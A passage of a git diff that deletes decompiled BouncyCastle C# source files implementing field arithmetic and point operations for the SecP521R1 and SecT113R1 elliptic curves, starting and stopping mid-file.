* 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat.Copy(17, ((SecP521R1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 17; - Nat.Copy(17, ((SecP521R1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 17; - } - return new SecP521R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Field.cs deleted file mode 100644 index 718ea74..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Field.cs +++ /dev/null @@ -1,150 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP521R1Field -{ - private const int P16 = 511; - - internal static readonly uint[] P = new uint[17] - { - 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, - 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 511u - }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - uint num = Nat.Add(16, x, y, z) + x[16] + y[16]; - if (num > 511 || (num == 511 && Nat.Eq(16, z, P))) - { - num += Nat.Inc(16, z); - num &= 0x1FF; - } - z[16] = num; - } - - public static void AddOne(uint[] x, uint[] z) - { - uint num = Nat.Inc(16, x, z) + x[16]; - if (num > 511 || (num == 511 && Nat.Eq(16, z, P))) - { - num += Nat.Inc(16, z); - num &= 0x1FF; - } - z[16] = num; - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat.FromBigInteger(521, x); - if (Nat.Eq(17, array, P)) - { - Nat.Zero(17, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - uint num = x[16]; - uint num2 = Nat.ShiftDownBit(16, x, num, z); - z[16] = (num >> 1) | (num2 >> 23); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat.Create(33); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat.IsZero(17, x)) - { - Nat.Zero(17, z); - } - else - { - Nat.Sub(17, P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - uint num = xx[32]; - uint num2 = Nat.ShiftDownBits(16, xx, 16, 9, num, z, 0) >> 23; - num2 += num >> 9; - num2 += Nat.AddTo(16, xx, z); - if (num2 > 511 || (num2 == 511 && Nat.Eq(16, z, P))) - { - num2 += Nat.Inc(16, z); - num2 &= 0x1FF; - } - z[16] = num2; - } - - public static void Reduce23(uint[] z) - { - uint num = z[16]; - uint num2 = Nat.AddWordTo(16, num >> 9, z) + (num & 0x1FF); - if (num2 > 511 || (num2 == 511 && Nat.Eq(16, z, P))) - { - num2 += Nat.Inc(16, z); - num2 &= 0x1FF; - } - z[16] = num2; - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat.Create(33); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat.Create(33); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - int num = Nat.Sub(16, x, y, z) + (int)(x[16] - y[16]); - if (num < 0) - { - num += Nat.Dec(16, z); - num &= 0x1FF; - } - z[16] = (uint)num; - } - - public static void Twice(uint[] x, uint[] z) - { - uint num = x[16]; - uint num2 = Nat.ShiftUpBit(16, x, num << 23, z) | (num << 1); - z[16] = num2 & 0x1FF; - } - - protected static void ImplMultiply(uint[] x, uint[] y, uint[] zz) - { - Nat512.Mul(x, y, zz); - uint num = x[16]; - uint num2 = y[16]; - zz[32] = Nat.Mul31BothAdd(16, num, y, num2, x, zz, 16) + num * num2; - } - - protected static void ImplSquare(uint[] x, uint[] zz) - { - Nat512.Square(x, zz); - uint num = x[16]; - zz[32] = Nat.MulWordAddTo(16, num << 1, x, 0, zz, 16) + num * num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1FieldElement.cs deleted file mode 100644 index 4abd7f3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1FieldElement.cs +++ /dev/null @@ -1,152 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP521R1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP521R1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat.IsZero(17, x); - - public override bool IsOne => Nat.IsOne(17, x); - - public override string FieldName => "SecP521R1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP521R1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP521R1FieldElement", "x"); - } - this.x = SecP521R1Field.FromBigInteger(x); - } - - public SecP521R1FieldElement() - { - x = Nat.Create(17); - } - - protected internal SecP521R1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat.ToBigInteger(17, x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat.Create(17); - SecP521R1Field.Add(x, ((SecP521R1FieldElement)b).x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat.Create(17); - SecP521R1Field.AddOne(x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat.Create(17); - SecP521R1Field.Subtract(x, ((SecP521R1FieldElement)b).x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat.Create(17); - SecP521R1Field.Multiply(x, ((SecP521R1FieldElement)b).x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat.Create(17); - Mod.Invert(SecP521R1Field.P, ((SecP521R1FieldElement)b).x, z); - SecP521R1Field.Multiply(z, x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat.Create(17); - SecP521R1Field.Negate(x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat.Create(17); - SecP521R1Field.Square(x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat.Create(17); - Mod.Invert(SecP521R1Field.P, x, z); - return new SecP521R1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] array = x; - if (Nat.IsZero(17, array) || Nat.IsOne(17, array)) - { - return this; - } - uint[] z = Nat.Create(17); - uint[] array2 = Nat.Create(17); - SecP521R1Field.SquareN(array, 519, z); - SecP521R1Field.Square(z, array2); - if (!Nat.Eq(17, array, array2)) - { - return null; - } - return new SecP521R1FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP521R1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP521R1FieldElement); - } - - public virtual bool Equals(SecP521R1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat.Eq(17, x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 17); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Point.cs deleted file mode 100644 index eca553c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP521R1Point.cs +++ /dev/null @@ -1,227 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP521R1Point : AbstractFpPoint -{ - public SecP521R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP521R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP521R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP521R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP521R1FieldElement secP521R1FieldElement = (SecP521R1FieldElement)base.RawXCoord; - SecP521R1FieldElement secP521R1FieldElement2 = (SecP521R1FieldElement)base.RawYCoord; - SecP521R1FieldElement secP521R1FieldElement3 = (SecP521R1FieldElement)b.RawXCoord; - SecP521R1FieldElement secP521R1FieldElement4 = (SecP521R1FieldElement)b.RawYCoord; - SecP521R1FieldElement secP521R1FieldElement5 = (SecP521R1FieldElement)base.RawZCoords[0]; - SecP521R1FieldElement secP521R1FieldElement6 = (SecP521R1FieldElement)b.RawZCoords[0]; - uint[] array = Nat.Create(17); - uint[] array2 = Nat.Create(17); - uint[] array3 = Nat.Create(17); - uint[] array4 = Nat.Create(17); - bool isOne = secP521R1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP521R1FieldElement3.x; - array6 = secP521R1FieldElement4.x; - } - else - { - array6 = array3; - SecP521R1Field.Square(secP521R1FieldElement5.x, array6); - array5 = array2; - SecP521R1Field.Multiply(array6, secP521R1FieldElement3.x, array5); - SecP521R1Field.Multiply(array6, secP521R1FieldElement5.x, array6); - SecP521R1Field.Multiply(array6, secP521R1FieldElement4.x, array6); - } - bool isOne2 = secP521R1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP521R1FieldElement.x; - array8 = secP521R1FieldElement2.x; - } - else - { - array8 = array4; - SecP521R1Field.Square(secP521R1FieldElement6.x, array8); - array7 = array; - SecP521R1Field.Multiply(array8, secP521R1FieldElement.x, array7); - SecP521R1Field.Multiply(array8, secP521R1FieldElement6.x, array8); - SecP521R1Field.Multiply(array8, secP521R1FieldElement2.x, array8); - } - uint[] array9 = Nat.Create(17); - SecP521R1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP521R1Field.Subtract(array8, array6, array10); - if (Nat.IsZero(17, array9)) - { - if (Nat.IsZero(17, array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP521R1Field.Square(array9, array11); - uint[] array12 = Nat.Create(17); - SecP521R1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP521R1Field.Multiply(array11, array7, array13); - SecP521R1Field.Multiply(array8, array12, array); - SecP521R1FieldElement secP521R1FieldElement7 = new SecP521R1FieldElement(array4); - SecP521R1Field.Square(array10, secP521R1FieldElement7.x); - SecP521R1Field.Add(secP521R1FieldElement7.x, array12, secP521R1FieldElement7.x); - SecP521R1Field.Subtract(secP521R1FieldElement7.x, array13, secP521R1FieldElement7.x); - SecP521R1Field.Subtract(secP521R1FieldElement7.x, array13, secP521R1FieldElement7.x); - SecP521R1FieldElement secP521R1FieldElement8 = new SecP521R1FieldElement(array12); - SecP521R1Field.Subtract(array13, secP521R1FieldElement7.x, secP521R1FieldElement8.x); - SecP521R1Field.Multiply(secP521R1FieldElement8.x, array10, array2); - SecP521R1Field.Subtract(array2, array, secP521R1FieldElement8.x); - SecP521R1FieldElement secP521R1FieldElement9 = new SecP521R1FieldElement(array9); - if (!isOne) - { - SecP521R1Field.Multiply(secP521R1FieldElement9.x, secP521R1FieldElement5.x, secP521R1FieldElement9.x); - } - if (!isOne2) - { - SecP521R1Field.Multiply(secP521R1FieldElement9.x, secP521R1FieldElement6.x, secP521R1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP521R1FieldElement9 }; - return new SecP521R1Point(curve, secP521R1FieldElement7, secP521R1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP521R1FieldElement secP521R1FieldElement = (SecP521R1FieldElement)base.RawYCoord; - if (secP521R1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP521R1FieldElement secP521R1FieldElement2 = (SecP521R1FieldElement)base.RawXCoord; - SecP521R1FieldElement secP521R1FieldElement3 = (SecP521R1FieldElement)base.RawZCoords[0]; - uint[] array = Nat.Create(17); - uint[] array2 = Nat.Create(17); - uint[] array3 = Nat.Create(17); - SecP521R1Field.Square(secP521R1FieldElement.x, array3); - uint[] array4 = Nat.Create(17); - SecP521R1Field.Square(array3, array4); - bool isOne = secP521R1FieldElement3.IsOne; - uint[] array5 = secP521R1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP521R1Field.Square(secP521R1FieldElement3.x, array5); - } - SecP521R1Field.Subtract(secP521R1FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP521R1Field.Add(secP521R1FieldElement2.x, array5, array6); - SecP521R1Field.Multiply(array6, array, array6); - Nat.AddBothTo(17, array6, array6, array6); - SecP521R1Field.Reduce23(array6); - uint[] array7 = array3; - SecP521R1Field.Multiply(array3, secP521R1FieldElement2.x, array7); - Nat.ShiftUpBits(17, array7, 2, 0u); - SecP521R1Field.Reduce23(array7); - Nat.ShiftUpBits(17, array4, 3, 0u, array); - SecP521R1Field.Reduce23(array); - SecP521R1FieldElement secP521R1FieldElement4 = new SecP521R1FieldElement(array4); - SecP521R1Field.Square(array6, secP521R1FieldElement4.x); - SecP521R1Field.Subtract(secP521R1FieldElement4.x, array7, secP521R1FieldElement4.x); - SecP521R1Field.Subtract(secP521R1FieldElement4.x, array7, secP521R1FieldElement4.x); - SecP521R1FieldElement secP521R1FieldElement5 = new SecP521R1FieldElement(array7); - SecP521R1Field.Subtract(array7, secP521R1FieldElement4.x, secP521R1FieldElement5.x); - SecP521R1Field.Multiply(secP521R1FieldElement5.x, array6, secP521R1FieldElement5.x); - SecP521R1Field.Subtract(secP521R1FieldElement5.x, array, secP521R1FieldElement5.x); - SecP521R1FieldElement secP521R1FieldElement6 = new SecP521R1FieldElement(array6); - SecP521R1Field.Twice(secP521R1FieldElement.x, secP521R1FieldElement6.x); - if (!isOne) - { - SecP521R1Field.Multiply(secP521R1FieldElement6.x, secP521R1FieldElement3.x, secP521R1FieldElement6.x); - } - return new SecP521R1Point(curve, secP521R1FieldElement4, secP521R1FieldElement5, new ECFieldElement[1] { secP521R1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP521R1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113Field.cs deleted file mode 100644 index 240a9f5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113Field.cs +++ /dev/null @@ -1,204 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT113Field -{ - private const ulong M49 = 562949953421311uL; - - private const ulong M57 = 144115188075855871uL; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - zz[0] = xx[0] ^ yy[0]; - zz[1] = xx[1] ^ yy[1]; - zz[2] = xx[2] ^ yy[2]; - zz[3] = xx[3] ^ yy[3]; - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat128.FromBigInteger64(x); - Reduce15(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat128.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat128.Create64(); - ulong[] array2 = Nat128.Create64(); - Square(x, array); - Multiply(array, x, array); - Square(array, array); - Multiply(array, x, array); - SquareN(array, 3, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 7, array); - Multiply(array, array2, array); - SquareN(array, 14, array2); - Multiply(array2, array, array2); - SquareN(array2, 28, array); - Multiply(array, array2, array); - SquareN(array, 56, array2); - Multiply(array2, array, array2); - Square(array2, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat128.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat128.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - num2 ^= (num4 << 15) ^ (num4 << 24); - num3 ^= (num4 >> 49) ^ (num4 >> 40); - num ^= (num3 << 15) ^ (num3 << 24); - num2 ^= (num3 >> 49) ^ (num3 >> 40); - ulong num5 = num2 >> 49; - z[0] = num ^ num5 ^ (num5 << 9); - z[1] = num2 & 0x1FFFFFFFFFFFFL; - } - - public static void Reduce15(ulong[] z, int zOff) - { - ulong num = z[zOff + 1]; - ulong num2 = num >> 49; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ (num2 ^ (num2 << 9)); - z[zOff + 1] = num & 0x1FFFFFFFFFFFFL; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num4 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - z[0] = num3 ^ (num4 << 57) ^ (num4 << 5); - z[1] = (num4 >> 7) ^ (num4 >> 59); - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat128.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat128.CreateExt64(); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat128.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)x[0] & 1); - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong num = x[0]; - ulong num2 = x[1]; - num2 = ((num >> 57) ^ (num2 << 7)) & 0x1FFFFFFFFFFFFFFL; - num &= 0x1FFFFFFFFFFFFFFL; - ulong num3 = y[0]; - ulong num4 = y[1]; - num4 = ((num3 >> 57) ^ (num4 << 7)) & 0x1FFFFFFFFFFFFFFL; - num3 &= 0x1FFFFFFFFFFFFFFL; - ulong[] array = new ulong[6]; - ImplMulw(num, num3, array, 0); - ImplMulw(num2, num4, array, 2); - ImplMulw(num ^ num2, num3 ^ num4, array, 4); - ulong num5 = array[1] ^ array[2]; - ulong num6 = array[0]; - ulong num7 = array[3]; - ulong num8 = array[4] ^ num6 ^ num5; - ulong num9 = array[5] ^ num7 ^ num5; - zz[0] = num6 ^ (num8 << 57); - zz[1] = (num8 >> 7) ^ (num9 << 50); - zz[2] = (num9 >> 14) ^ (num7 << 43); - zz[3] = num7 >> 21; - } - - protected static void ImplMulw(ulong x, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - uint num = (uint)x; - ulong num2 = 0uL; - ulong num3 = array[num & 7]; - int num4 = 48; - do - { - num = (uint)(x >> num4); - ulong num5 = array[num & 7] ^ (array[(num >> 3) & 7] << 3) ^ (array[(num >> 6) & 7] << 6); - num3 ^= num5 << num4; - num2 ^= num5 >> -num4; - } - while ((num4 -= 9) > 0); - num2 ^= (x & 0x100804020100800L & (ulong)((long)(y << 7) >> 63)) >> 8; - z[zOff] = num3 & 0x1FFFFFFFFFFFFFFL; - z[zOff + 1] = (num3 >> 57) ^ (num2 << 7); - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - Interleave.Expand64To128(x[0], zz, 0); - Interleave.Expand64To128(x[1], zz, 2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113FieldElement.cs deleted file mode 100644 index 448fb0b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT113FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat128.IsOne64(x); - - public override bool IsZero => Nat128.IsZero64(x); - - public override string FieldName => "SecT113Field"; - - public override int FieldSize => 113; - - public virtual int Representation => 2; - - public virtual int M => 113; - - public virtual int K1 => 9; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT113FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 113) - { - throw new ArgumentException("value invalid for SecT113FieldElement", "x"); - } - this.x = SecT113Field.FromBigInteger(x); - } - - public SecT113FieldElement() - { - x = Nat128.Create64(); - } - - protected internal SecT113FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat128.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat128.Create64(); - SecT113Field.Add(x, ((SecT113FieldElement)b).x, z); - return new SecT113FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat128.Create64(); - SecT113Field.AddOne(x, z); - return new SecT113FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat128.Create64(); - SecT113Field.Multiply(x, ((SecT113FieldElement)b).x, z); - return new SecT113FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT113FieldElement)b).x; - ulong[] array2 = ((SecT113FieldElement)x).x; - ulong[] y3 = ((SecT113FieldElement)y).x; - ulong[] array3 = Nat128.CreateExt64(); - SecT113Field.MultiplyAddToExt(array, y2, array3); - SecT113Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat128.Create64(); - SecT113Field.Reduce(array3, z); - return new SecT113FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat128.Create64(); - SecT113Field.Square(x, z); - return new SecT113FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT113FieldElement)x).x; - ulong[] y2 = ((SecT113FieldElement)y).x; - ulong[] array3 = Nat128.CreateExt64(); - SecT113Field.SquareAddToExt(array, array3); - SecT113Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat128.Create64(); - SecT113Field.Reduce(array3, z); - return new SecT113FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat128.Create64(); - SecT113Field.SquareN(x, pow, z); - return new SecT113FieldElement(z); - } - - public override int Trace() - { - return (int)SecT113Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat128.Create64(); - SecT113Field.Invert(x, z); - return new SecT113FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat128.Create64(); - SecT113Field.Sqrt(x, z); - return new SecT113FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT113FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT113FieldElement); - } - - public virtual bool Equals(SecT113FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat128.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x1B971 ^ Arrays.GetHashCode(x, 0, 2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R1Curve.cs deleted file mode 100644 index 32611e8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R1Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT113R1Curve : AbstractF2mCurve -{ - private class SecT113R1LookupTable : ECLookupTable - { - private readonly SecT113R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT113R1LookupTable(SecT113R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat128.Create64(); - ulong[] array2 = Nat128.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 2; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 2 + j] & num2); - } - num += 4; - } - return m_outer.CreateRawPoint(new SecT113FieldElement(array), new SecT113FieldElement(array2), withCompression: false); - } - } - - private const int SECT113R1_DEFAULT_COORDS = 6; - - private const int SECT113R1_FE_LONGS = 2; - - protected readonly SecT113R1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 113; - - public override bool IsKoblitz => false; - - public virtual int M => 113; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 9; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT113R1Curve() - : base(113, 9, 0, 0) - { - m_infinity = new SecT113R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("003088250CA6E7C7FE649CE85820F7"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("00E8BEE4D3E2260744188BE0E9C723"))); - m_order = new BigInteger(1, Hex.Decode("0100000000000000D9CCEC8A39E56F")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT113R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT113FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT113R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT113R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 2 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - 